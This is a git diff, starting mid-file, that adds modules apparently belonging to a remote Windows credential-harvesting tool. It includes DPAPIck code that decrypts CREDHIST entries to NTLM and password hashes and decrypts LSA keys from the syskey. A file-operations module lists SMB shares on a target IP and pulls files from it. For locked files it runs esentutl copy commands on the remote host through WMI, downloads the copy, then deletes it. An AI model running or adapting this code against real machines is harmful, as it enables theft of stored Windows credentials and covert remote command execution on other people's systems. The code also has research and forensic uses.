VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) + return vault,blob['FriendlyName'].decode('utf-16le')[:-1] + else: + # otherwise + self.logging.debug(f"Unknown VAULT SCHEMA - VCRD VAULT {self.options.vcrd}") + hexdump(cleartext) + return cleartext,'' + + except Exception as ex: + self.logging.debug(f"Exception in dpapi.py decrypt VCRD VAULT - Couldn't decrypt vault {self.options.vcrd}") + self.logging.debug(ex) + else: + blob.dump() + return None, None +''' +class CredHistFile: + def __init__(self, raw): + self.data = raw + self.header = CredHist(self.data) + self.data = self.data[24:] + self.entries_list = [] + self.entries = {} + + def get_entries(self): + while True: + l = self.data.pop("L") + if l == 0: + break + self.addEntry(self.data.pop_string(l - 4)) + + self.footmagic = self.data.eat("L") + self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % self.data.eat("L2H8B") + + + def addEntry(self, blob): + """Creates a CredhistEntry object with blob then adds it to the store""" + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + +class CredHist(Structure): + structure = ( + ('Version', ' ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# +import binascii +import struct +import hmac +import hashlib +from lib.dpapi_pick import crypto +from lib.dpapi_pick import eater +''' +crypto_CryptoAlgo={ +0x6601: {"name":"DES", "keyLength":64/8, "blockLength":64/8, "IVLength":64/8, "module":"des", "keyFixup":"des_set_odd_parity"}, +0x6603: {"name":"DES3", "keyLength":192/8, "blockLength":64/8, "IVLength":64/8, "module":"triple_des", "keyFixup":"des_set_odd_parity"}, +0x6611: {"name":"AES", "keyLength":128/8, "blockLength":128/8, "IVLength":128/8}, +0x660e: {"name":"AES-128", "keyLength":128/8, "blockLength":128/8, "IVLength":128/8}, +0x660f: {"name":"AES-192", "keyLength":192/8, "blockLength":128/8, "IVLength":128/8}, +0x6610: {"name":"AES-256", "keyLength":256/8, "blockLength":128/8, "IVLength":128/8}, +0x8009: {"name":"HMAC", "digestLength":160/8, "blockLength":512/8}, +0x8003: {"name":"md5", "digestLength":128/8, "blockLength":512/8}, +0x8004: {"name":"sha1", "digestLength":160/8, "blockLength":512/8}, +0x800c: {"name":"sha256", "digestLength":256/8, "blockLength":512/8}, +0x800d: {"name":"sha384", "digestLength":384/8, "blockLength":1024/8}, +0x800e: {"name":"sha512", "digestLength":512/8, "blockLength":1024/8} +}''' + +class RPC_SID(eater.DataStruct): + """Represents a RPC_SID structure. See MSDN for documentation""" + def __init__(self, raw=None): + self.version = None + self.idAuth = None + self.subAuth = None + eater.DataStruct.__init__(self, raw) + + def parse(self, data): + #print('parse rpc') + self.version = data.eat("B") + n = data.eat("B") + self.idAuth = struct.unpack(">Q", b"\0\0" + data.eat("6s"))[0] + self.subAuth = data.eat("%dL" % n) + + + def __str__(self): + s = ["S-%d-%d" % (self.version, self.idAuth)] + s += ["%d" % x for x in self.subAuth] + return "-".join(s) + + def __repr__(self): + return """RPC_SID(%s): + revision = %d + identifier-authority = %r + subAuthorities = %r""" % (self, self.version, self.idAuth, self.subAuth) + + +class CredSystem(eater.DataStruct): + """This represents the DPAPI_SYSTEM token which is stored as an LSA + secret. + + Sets 2 properties: + self.machine + self.user + + """ + def __init__(self, raw=None): + self.machine = None + self.user = None + self.revision = None + eater.DataStruct.__init__(self, raw) + + def parse(self, data): + self.revision = data.eat("L") + self.machine = data.eat("20s") + self.user = data.eat("20s") + + def __repr__(self): + s = ["DPAPI_SYSTEM:"] + if self.user is not None: + s.append("\tUser Credential : %s" % self.user.encode('hex')) + if self.machine is not None: + s.append("\tMachine Credential: %s" % self.machine.encode('hex')) + return "\n".join(s) + + +class CredhistEntry(eater.DataStruct): + """Represents an entry in the Credhist file""" + def __init__(self, raw=None): + self.pwdhash = None + self.hmac = None + self.revision = None + self.hashAlgo = None + self.rounds = None + self.cipherAlgo = None + self.shaHashLen = None + self.ntHashLen = None + self.iv = None + self.userSID = None + self.encrypted = None + self.revision2 = None + self.guid = None + self.ntlm = None + eater.DataStruct.__init__(self, raw) + + def __getstate__(self): + d = dict(self.__dict__) + for k in ["cipherAlgo", "hashAlgo"]: + if k in d: + d[k] = d[k].algnum + return d + + def __setstate__(self, d): + for k in ["cipherAlgo", "hashAlgo"]: + if k in d: + d[k] = crypto.CryptoAlgo(d[k])#'''crypto_CryptoAlgo[d[k]]''' + self.__dict__.update(d) + + def parse(self, data): + #print('parse2') + self.revision = data.eat("L") + #print('parse3') + self.hashAlgo = crypto.CryptoAlgo(data.eat("L"))#'''crypto_CryptoAlgo[data.eat("L")]''' + self.rounds = data.eat("L") + data.eat("L") + #print('parse4') + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L"))#'''crypto_CryptoAlgo''' + self.shaHashLen = data.eat("L") + self.ntHashLen = data.eat("L") + self.iv = data.eat("16s") + #print('parse5') + self.userSID = RPC_SID() + self.userSID.parse(data) + n = self.shaHashLen + self.ntHashLen + n += -n % self.cipherAlgo.blockSize#self.cipherAlgo['blockLength'] #blockSize + self.encrypted = data.eat_string(n) + #print('parse6') + self.revision2 = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + #print(self.__repr__) + + def decryptWithKey(self, enckey): + """Decrypts this credhist entry using the given encryption key.""" + #print(f'using key {enckey}') + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, + enckey, self.iv, self.rounds) + #print(f'cleartext {cleartxt}') + self.pwdhash = cleartxt[:self.shaHashLen] + self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip(b"\x00") + if len(self.ntlm) != 16: + self.ntlm = None + + def decryptWithHash(self, pwdhash): + """Decrypts this credhist entry with the given user's password hash. + Simply computes the encryption key with the given hash then calls + self.decryptWithKey() to finish the decryption. + + """ + self.decryptWithKey(crypto.derivePwdHash(pwdhash, str(self.userSID)))#self.crypto ? + + def derivePwdHash(pwdhash, sid, digest='sha1'): + """ + Internal use. Computes the encryption key from a user's password hash + """ + return hmac.new(pwdhash, (sid + "\0").encode("UTF-16LE"), digestmod=lambda: hashlib.new(digest)).digest() + + def decryptWithPassword(self, password): + """Decrypts this credhist entry with the given user's password. + Simply computes the password hash then calls self.decryptWithHash() + + """ + return self.decryptWithHash(hashlib.sha1(password.encode("UTF-16LE")).digest()) + + ''' + def jtr_shadow(self): + """Returns a string that can be passed to John the Ripper to crack this + CREDHIST entry. Requires to use a recent jumbo version of JtR plus + the configuration snipplet in the "3rdparty" directory of DPAPIck. + + Unless you know what you are doing, you shall not call this function + yourself. Instead, use the method provided by CredHistPool object. + """ + rv = [] + if self.pwdhash is not None: + rv.append("%s:$dynamic_1400$%s" % (self.userSID, self.pwdhash.encode('hex'))) + if self.ntlm is not None: + rv.append("%s:$NT$%s" % (self.userSID, self.ntlm.encode('hex'))) + return "\n".join(rv) + ''' + def __repr__(self): + s = ["CredHist entry", + "\trevision = %x\n" % self.revision, + "\thash = %r" % self.hashAlgo, + "\trounds = %i" % self.rounds, + "\tcipher = %r" % self.cipherAlgo, + "\tshaHashLen = %i" % self.shaHashLen, + "\tntHashLen = %i" % self.ntHashLen, + "\tuserSID = %s" % self.userSID, + "\tguid = %s" % self.guid, + "\tiv = %s" % binascii.hexlify(self.iv)]#.encode("hex") + if self.pwdhash is not None: + s.append("\tpwdhash = %s" % binascii.hexlify(self.pwdhash))#.encode("hex") + if self.ntlm is not None: + s.append("\tNTLM = %s" % binascii.hexlify(self.ntlm))#.encode("hex") + return "\n".join(s) + + +class CredHistFile(eater.DataStruct): + """Represents a CREDHIST file. + Be aware that currently, it is not possible to check whether the decryption + succeeded or not. To circumvent that and optimize a little bit crypto + operations, once a credhist entry successfully decrypts a masterkey, the + whole CredHistFile is flagged as valid. Then, no further decryption occurs. + + """ + def __init__(self, raw=None): + self.entries_list = [] + self.entries = {} + self.valid = False + self.footmagic = None + self.curr_guid = None + eater.DataStruct.__init__(self, raw) + + def parse(self, data): + while True: + l = data.pop("L") + if l == 0: + break + self.addEntry(data.pop_string(l - 4)) + + self.footmagic = data.eat("L") + self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + #print(f'GUID:{self.curr_guid}') + + def addEntry(self, blob): + """Creates a CredhistEntry object with blob then adds it to the store""" + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + def validate(self): + """Simply flags a file as successfully decrypted. See the class + documentation for information. + + """ + self.valid = True + + def decryptWithHash(self, h): + """Try to decrypt each entry with the given hash""" + if self.valid: + return + curhash = h + for entry in self.entries_list: + try: + entry.decryptWithHash(curhash) + curhash = entry.pwdhash + except Exception as ex: + #print('erro Decrypting') + #print(ex) + continue + def decryptWithPassword(self, pwd): + """Try to decrypt each entry with the given password. + This function simply computes the SHA-1 hash with the password, then + calls self.decryptWithHash() + + """ + #print(f'password : {pwd}') + return self.decryptWithHash(hashlib.sha1(pwd.encode("UTF-16LE")).digest()) + + def jtr_shadow(self, validonly=False): + """Returns a string that can be passed to John the Ripper to crack the + CREDHIST entries. Requires to use a recent jumbo version of JtR plus + the configuration snipplet in the "3rdparty" directory of DPAPIck. + + If validonly is set to True, will only extract CREDHIST entries + that are known to have sucessfully decrypted a masterkey. + + """ + if validonly and not self.valid: + return "" + s = [] + for e in self.entries.itervalues(): + s.append(e.jtr_shadow()) + return "\n".join(s) + + def __repr__(self): + s = ["CredHistPool: %s" % self.curr_guid] + for e in self.entries: + s.append("---") + s.append(repr(self.entries[e])) + s.append("====") + return "\n".join(s) + + +# vim:ts=4:expandtab:sw=4 diff --git a/lib/dpapi_pick/crypto.py b/lib/dpapi_pick/crypto.py new file mode 100644 index 0000000..63c92cc --- /dev/null +++ b/lib/dpapi_pick/crypto.py @@ -0,0 +1,339 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +# ############################################################################ +## ## +## This file is part of DPAPIck ## +## Windows DPAPI decryption & forensic toolkit ## +## ## +## ## +## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +## This document is the property of Cassidian SAS, it may not be copied or ## +## circulated without prior licence ## +## ## +## Author: Jean-Michel Picod ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import hashlib +import struct +import array +import M2Crypto + + +try: + xrange +except NameError: + xrange = range + +AES_BLOCK_SIZE = 16 + +class CryptoAlgo(object): + """This class is used to wrap Microsoft algorithm IDs with M2Crypto""" + + class Algo(object): + def __init__(self, data): + self.data = data + + def __getattr__(self, attr): + if attr in self.data: + return self.data[attr] + raise AttributeError(attr) + + _crypto_data = { } + + @classmethod + def add_algo(cls, algnum, **kargs): + cls._crypto_data[algnum] = cls.Algo(kargs) + + @classmethod + def get_algo(cls, algnum): + return cls._crypto_data[algnum] + + def __init__(self, i): + self.algnum = i + self.algo = CryptoAlgo.get_algo(i) + + name = property(lambda self: self.algo.name) + m2name = property(lambda self: self.algo.m2) + keyLength = property(lambda self: int(self.algo.keyLength / 8)) + ivLength = property(lambda self: int(self.algo.IVLength / 8)) + blockSize = property(lambda self: int(self.algo.blockLength / 8)) + digestLength = property(lambda self: int(self.algo.digestLength / 8)) + + def do_fixup_key(self, key): + try: + return self.algo.keyFixup.__call__(key) + except AttributeError: + return key + + def __repr__(self): + return "%s [%#x]" % (self.algo.name, self.algnum) + + +def des_set_odd_parity(key): + _lut = [1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, + 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, + 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, + 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, + 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, + 91, 93, 93, 94, 94, 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, + 107, 109, 109, 110, 110, 112, 112, 115, 115, 117, 117, 118, 118, 121, + 121, 122, 122, 124, 124, 127, 127, 128, 128, 131, 131, 133, 133, 134, + 134, 137, 137, 138, 138, 140, 140, 143, 143, 145, 145, 146, 146, 148, + 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158, 161, 161, 162, + 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174, 176, + 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, + 191, 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, + 205, 206, 206, 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, + 218, 220, 220, 223, 223, 224, 224, 227, 227, 229, 229, 230, 230, 233, + 233, 234, 234, 236, 236, 239, 239, 241, 241, 242, 242, 244, 244, 247, + 247, 248, 248, 251, 251, 253, 253, 254, 254] + tmp = array.array("B") + tmp.fromstring(key) + for i, v in enumerate(tmp): + tmp[i] = _lut[v] + return tmp.tostring() + + +CryptoAlgo.add_algo(0x6603, name="DES3", keyLength=192, IVLength=64, blockLength=64, m2="des_ede3_cbc", + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6609, name="DES2", keyLength=128, IVLength=64, blockLength=64, m2="des_ede_cbc", + keyFixup=des_set_odd_parity) +CryptoAlgo.add_algo(0x6611, name="AES", keyLength=128, IVLength=128, blockLength=128, m2="aes_128_cbc") +CryptoAlgo.add_algo(0x660e, name="AES-128", keyLength=128, IVLength=128, blockLength=128, m2="aes_128_cbc") +CryptoAlgo.add_algo(0x660f, name="AES-192", keyLength=192, IVLength=128, blockLength=128, m2="aes_192_cbc") +CryptoAlgo.add_algo(0x6610, name="AES-256", keyLength=256, IVLength=128, blockLength=128, m2="aes_256_cbc") +CryptoAlgo.add_algo(0x6601, name="DES", keyLength=64, IVLength=64, blockLength=64, m2="des_cbc", + keyFixup=des_set_odd_parity) + +CryptoAlgo.add_algo(0x8009, name="HMAC", digestLength=160, blockLength=512) + +CryptoAlgo.add_algo(0x8001, name="md2", digestLength=128, blockLength=128) +CryptoAlgo.add_algo(0x8002, name="md4", digestLength=128, blockLength=512) +CryptoAlgo.add_algo(0x8003, name="md5", digestLength=128, blockLength=512) + +CryptoAlgo.add_algo(0x8004, name="sha1", digestLength=160, blockLength=512) +CryptoAlgo.add_algo(0x800c, name="sha256", digestLength=256, blockLength=512) +CryptoAlgo.add_algo(0x800d, name="sha384", digestLength=384, blockLength=1024) +CryptoAlgo.add_algo(0x800e, name="sha512", digestLength=512, blockLength=1024) + + +def CryptSessionKeyXP(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None): + """Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on a faulty implementation from Microsoft that does not respect the HMAC RFC. + Instead of updating the inner pad, we update the outer pad... + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself (integrity check) + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + masterkey += "\x00" * hashAlgo.blockSize + ipad = "".join(chr(ord(masterkey[i]) ^ 0x36) for i in range(hashAlgo.blockSize)) + opad = "".join(chr(ord(masterkey[i]) ^ 0x5c) for i in range(hashAlgo.blockSize)) + digest = hashlib.new(hashAlgo.name) + digest.update(ipad) + digest.update(nonce) + tmp = digest.digest() + + digest = hashlib.new(hashAlgo.name) + digest.update(opad) + digest.update(tmp) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + digest.update(strongPassword) + return digest.digest() + + +def CryptSessionKeyWin7(masterkey, nonce, hashAlgo, entropy=None, strongPassword=None): + """Computes the decryption key for XP DPAPI blob, given the masterkey and optional information. + + This implementation relies on an RFC compliant HMAC implementation + This algorithm is also used when checking the HMAC for integrity after decryption + + :param masterkey: decrypted masterkey (should be 64 bytes long) + :param nonce: this is the nonce contained in the blob or the HMAC in the blob (integrity check) + :param entropy: this is the optional entropy from CryptProtectData() API + :param strongPassword: optional password used for decryption or the blob itself (integrity check) + :returns: decryption key + :rtype : str + """ + if len(masterkey) > 20: + masterkey = hashlib.sha1(masterkey).digest() + + digest = M2Crypto.EVP.HMAC(masterkey, hashAlgo.name) + digest.update(nonce) + if entropy is not None: + digest.update(entropy) + if strongPassword is not None: + digest.update(strongPassword) + return digest.final() + + +def CryptDeriveKey(h, cipherAlgo, hashAlgo): + """Internal use. Mimics the corresponding native Microsoft function""" + if len(h) > hashAlgo.blockSize: + h = hashlib.new(hashAlgo.name, h).digest() + if len(h) >= cipherAlgo.keyLength: + return h + h += "\x00" * hashAlgo.blockSize + ipad = "".join(chr(ord(h[i]) ^ 0x36) for i in range(hashAlgo.blockSize)) + opad = "".join(chr(ord(h[i]) ^ 0x5c) for i in range(hashAlgo.blockSize)) + k = hashlib.new(hashAlgo.name, ipad).digest() + hashlib.new(hashAlgo.name, opad).digest() + k = cipherAlgo.do_fixup_key(k) + return k + + +def decrypt_lsa_key_nt5(lsakey, syskey): + """This function decrypts the LSA key using the syskey""" + dg = hashlib.md5() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[60:76]) + arcfour = M2Crypto.RC4.RC4(dg.digest()) + deskey = arcfour.update(lsakey[12:60]) + arcfour.final() + return [deskey[16 * x:16 * (x + 1)] for x in xrange(3)] + + +def decrypt_lsa_key_nt6(lsakey, syskey): + """This function decrypts the LSA keys using the syskey""" + dg = hashlib.sha256() + dg.update(syskey) + for i in xrange(1000): + dg.update(lsakey[28:60]) + c = M2Crypto.EVP.Cipher(alg="aes_256_ecb", key=dg.digest(), iv="", op=M2Crypto.decrypt) + c.set_padding(0) + keys = c.update(lsakey[60:]) + c.final() + size = struct.unpack_from("> 1) + des_key.append(((ord(block_key[0]) & 0x01) << 6) | (ord(block_key[1]) >> 2)) + des_key.append(((ord(block_key[1]) & 0x03) << 5) | (ord(block_key[2]) >> 3)) + des_key.append(((ord(block_key[2]) & 0x07) << 4) | (ord(block_key[3]) >> 4)) + des_key.append(((ord(block_key[3]) & 0x0F) << 3) | (ord(block_key[4]) >> 5)) + des_key.append(((ord(block_key[4]) & 0x1F) << 2) | (ord(block_key[5]) >> 6)) + des_key.append(((ord(block_key[5]) & 0x3F) << 1) | (ord(block_key[6]) >> 7)) + des_key.append(ord(block_key[6]) & 0x7F) + des_key = algo.do_fixup_key("".join([chr(x << 1) for x in des_key])) + + cipher = M2Crypto.EVP.Cipher(alg="des_ecb", key=des_key, iv="", op=M2Crypto.decrypt) + cipher.set_padding(0) + decrypted_data += cipher.update(enc_block) + cipher.final() + j += 7 + if len(key[j:j + 7]) < 7: + j = len(key[j:j + 7]) + dec_data_len = struct.unpack(" ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import struct + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ["<", ">", "!", "@"]: + fmt = self.endianness+fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + diff --git a/lib/eater.py b/lib/eater.py new file mode 100644 index 0000000..cadb13f --- /dev/null +++ b/lib/eater.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################# +## ## +## This file is part of DPAPIck ## +## Windows DPAPI decryption & forensic toolkit ## +## ## +## ## +## Copyright (C) 2010, 2011 Cassidian SAS. All rights reserved. ## +## This document is the property of Cassidian SAS, it may not be copied or ## +## circulated without prior licence ## +## ## +## Author: Jean-Michel Picod ## +## ## +## This program is distributed under GPLv3 licence (see LICENCE.txt) ## +## ## +############################################################################# + +import struct + + +class Eater(object): + """This class is a helper for parsing binary structures.""" + + def __init__(self, raw, offset=0, end=None, endianness="<"): + self.raw = raw + self.ofs = offset + if end is None: + end = len(raw) + self.end = end + self.endianness = endianness + + def prepare_fmt(self, fmt): + """Internal use. Prepend endianness to the given format if it is not + already specified. + + fmt is a format string for struct.unpack() + + Returns a tuple of the format string and the corresponding data size. + + """ + if fmt[0] not in ["<", ">", "!", "@"]: + fmt = self.endianness+fmt + return fmt, struct.calcsize(fmt) + + def read(self, fmt): + """Parses data with the given format string without taking away bytes. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + return v + + def eat(self, fmt): + """Parses data with the given format string. + + Returns an array of elements or just one element depending on fmt. + + """ + fmt, sz = self.prepare_fmt(fmt) + v = struct.unpack_from(fmt, self.raw, self.ofs) + if len(v) == 1: + v = v[0] + self.ofs += sz + return v + + def eat_string(self, length): + """Eats and returns a string of length characters""" + return self.eat("%us" % length) + + def eat_length_and_string(self, fmt): + """Eats and returns a string which length is obtained after eating + an integer represented by fmt + + """ + l = self.eat(fmt) + return self.eat_string(l) + + def pop(self, fmt): + """Eats a structure represented by fmt from the end of raw data""" + fmt, sz = self.prepare_fmt(fmt) + self.end -= sz + v = struct.unpack_from(fmt, self.raw, self.end) + if len(v) == 1: + v = v[0] + return v + + def pop_string(self, length): + """Pops and returns a string of length characters""" + return self.pop("%us" % length) + + def pop_length_and_string(self, fmt): + """Pops and returns a string which length is obtained after poping an + integer represented by fmt. + + """ + l = self.pop(fmt) + return self.pop_string(l) + + def remain(self): + """Returns all the bytes that have not been eated nor poped yet.""" + return self.raw[self.ofs:self.end] + + def eat_sub(self, length): + """Eats a sub-structure that is contained in the next length bytes""" + sub = self.__class__(self.raw[self.ofs:self.ofs+length], endianness=self.endianness) + self.ofs += length + return sub + + def __nonzero__(self): + return self.ofs < self.end + + +class DataStruct(object): + """Don't use this class unless you know what you are doing!""" + + def __init__(self, raw=None): + if raw is not None: + self.parse(Eater(raw, endianness="<")) + + def parse(self, eater_obj): + raise NotImplementedError("This function must be implemented in subclasses") + diff --git a/lib/fileops.py b/lib/fileops.py new file mode 100644 index 0000000..629c22f --- /dev/null +++ b/lib/fileops.py @@ -0,0 +1,262 @@ +import copy +import ntpath +import os +from datetime import time +import time as time2 +from pathlib import Path +from impacket.smbconnection import SMBConnection +#from impacket.examples.secretsdump import RemoteOperations +from lib.reg import RegHandler + +from impacket.dcerpc.v5 import samr, transport, srvs +from impacket.dcerpc.v5 import transport, rrp +from impacket.dcerpc.v5.dtypes import NULL +from lib.toolbox import bcolors +from lib.wmi import WMI + +class MyFileOps: + def __init__(self, smb,logger,options): + self.smb=smb + self.logging = logger + self.options=options + self.pwd = '\\' + self.share = None + + def do_use(self, line): + self.share = line + self.tid = self.smb.connectTree(line) + self.pwd = '\\' + self.do_ls('' ,'', False) + + def get_shares(self): + try: + self.logging.debug(f"[{self.options.target_ip}] Listing Shares") + resp = self.smb.listShares() + result = [] + for i in range(len(resp)): + self.logging.debug(resp[i]['shi1_netname'][:-1]) + result.append(resp[i]['shi1_netname'][:-1]) + return result + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception Listing Shares {bcolors.ENDC}") + self.logging.debug(ex) + + def do_ls(self, directory='', wildcard='*', display=True): + if self.tid is None: + self.logging.debug("No share selected") + return + if directory=='': + directory =self.pwd + if wildcard == '': + wildcard='*' + pwd = ntpath.join(directory, '*') + else: + pwd = ntpath.join(directory, wildcard) + completion = [] + pwd = pwd.replace('/', '\\') + pwd = ntpath.normpath(pwd) + self.logging.debug( f"[{self.options.target_ip}] Listing directories and files in {self.share} // {pwd} with filter {wildcard}") + try: + for f in self.smb.listPath(self.share, pwd): + if display is True: + self.logging.debug("%crw-rw-rw- %10d %s %s" % ('d' if f.is_directory() > 0 else '-', f.get_filesize(), time2.ctime(float(f.get_mtime_epoch())), f.get_longname())) + completion.append((f.get_longname(), f.is_directory())) + return copy.deepcopy(completion) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in Do_ls {bcolors.ENDC}") + self.logging.debug(ex) + return copy.deepcopy(completion) + + + def get_file(self, filesource, filedest='',allow_access_error=False): + self.logging.debug("Downloading file %s" % os.path.basename(filesource)) + if self.tid is None: + self.logging.debug("No share selected") + return None + if filedest == "": + # on stock dans ./self.options.target_ip/meme path + filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), filesource).replace('\\', '/') + Path(os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), os.path.split(filesource.replace('\\', '/'))[0])).mkdir(parents=True, exist_ok=True) + try: + fh = open(filedest, 'wb') + filesource = filesource.replace('/', '\\') + self.smb.getFile(self.share, filesource, fh.write) + fh.close() + return filedest + except Exception as ex: + self.logging.debug(f"Error downloading file {filesource}") + self.logging.debug(ex) + if allow_access_error and 'STATUS_SHARING_VIOLATION' in str(ex): + self.logging.debug(f"[{self.options.target_ip}] [+] files Might not be accessible - trying to duplicate it with esentutl.exe ") + return self.get_file2(filesource, filedest='') + else: + return None + + def get_file2(self, filesource, filedest=''): + try: + #full_path=self.share + filesource_tmp = filesource + '.tmp' + self.logging.debug("Copying file %s to %s" % (os.path.basename(filesource),os.path.basename(filesource_tmp))) + my_wmi=WMI(self.smb,self.logging,self.options) + self.logging.debug(f'"running esentutl.exe /y "C:\\{filesource}" /d "C:\\{filesource_tmp}"') + my_wmi.execute(commands=[f'cmd.exe /Q /c esentutl.exe /y "C:\\{filesource}" /d "C:\\{filesource_tmp}"']) + # esentutl.exe /y source /d dest + time2.sleep(1) + + except Exception as ex: + self.logging.debug(f"Error in WMI copy file : {filesource}") + self.logging.debug(ex) + #return None + + if self.tid is None: + self.logging.debug("No share selected") + return None + if filedest == "": + # on stock dans ./self.options.target_ip/meme path + filedest = os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), filesource).replace('\\', '/') + Path(os.path.join(os.path.join(self.options.output_directory,self.options.target_ip), os.path.split(filesource.replace('\\', '/'))[0])).mkdir(parents=True, exist_ok=True) + try: + fh = open(filedest, 'wb') + filesource_tmp = filesource_tmp.replace('/', '\\') + self.logging.debug(f"Downloading file2 {filesource_tmp}") + self.smb.getFile(self.share, filesource_tmp, fh.write) + ''' + myremotefile=RemoteFile(smbConnection=self.smb,fileName=filesource_tmp, share=self.share, access=FILE_READ_DATA) + myremotefile.open() + data=' ' + while data!=b'': + data=myremotefile.read(4096) + fh.write(data) + print(f"{data}")''' + fh.close() + #Deleting temp file + self.logging.debug(f'"running del "C:\\{filesource_tmp}"') + my_wmi = WMI(self.smb, self.logging, self.options) + my_wmi.execute(commands=[f'cmd.exe /Q /c del "C:\\{filesource_tmp}"']) + return filedest + except Exception as ex: + self.logging.debug(f"Error downloading file {filesource}") + self.logging.debug(ex) + return None + + def get_reccursive_files(self,path,wildcard='*'): + try: + blacklist = ['.', '..'] + my_directory = self.do_ls(path, wildcard=wildcard, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist : + if is_directory : # and longname == 'profiles.ini': + self.get_reccursive_files(ntpath.join(path, longname),wildcard=wildcard) + else: + self.get_file(ntpath.join(path, longname)) + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception get_reccursive_files of {path} {bcolors.ENDC}") + self.logging.debug(ex) + + def get_download_directory(self,filesource=''): + return os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), filesource).replace('\\','/') + +class MyRegOps(): + def __init__(self, logger,options): + self.logging = logger + self.options=copy.deepcopy(options) + + 